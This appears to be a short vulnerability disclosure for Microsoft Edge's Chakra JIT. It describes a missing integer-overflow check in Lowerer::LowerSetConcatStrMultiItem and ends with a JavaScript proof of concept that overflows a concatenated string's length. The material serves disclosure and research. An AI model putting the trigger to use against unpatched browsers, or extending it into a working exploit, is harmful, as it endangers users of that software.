Microsoft Edge Chakra JIT – ‘Lowerer::LowerSetConcatStrMultiItem’ Missing Integer Overflow Check
/* The method "Lowerer::LowerSetConcatStrMultiItem" is used to generate machine code to concatenate strings. Here's a snippet of the method. void Lowerer::LowerSetConcatStrMultiItem(IR::Instr * instr) { ... IR::IndirOpnd * dstLength = IR::IndirOpnd::New(concatStrOpnd, Js::ConcatStringMulti::GetOffsetOfcharLength(), TyUint32, func); ... InsertAdd(false, dstLength, dstLength, srcLength, instr); <<------ (a) ... } At (a), there's no check for integer overflow. Note: Chakra uses string chains to handle concatenated strings(the ConcatString class). So it doesn't require much memory to trigger the bug. PoC: */ let a = ''; let b = 'A'.repeat(0x10000); for (let i = 0; i < 0x10000; i++) { a = 'BBBBBBBBB' + a + b; } print(a.length); print(b.length); print(a[0]); |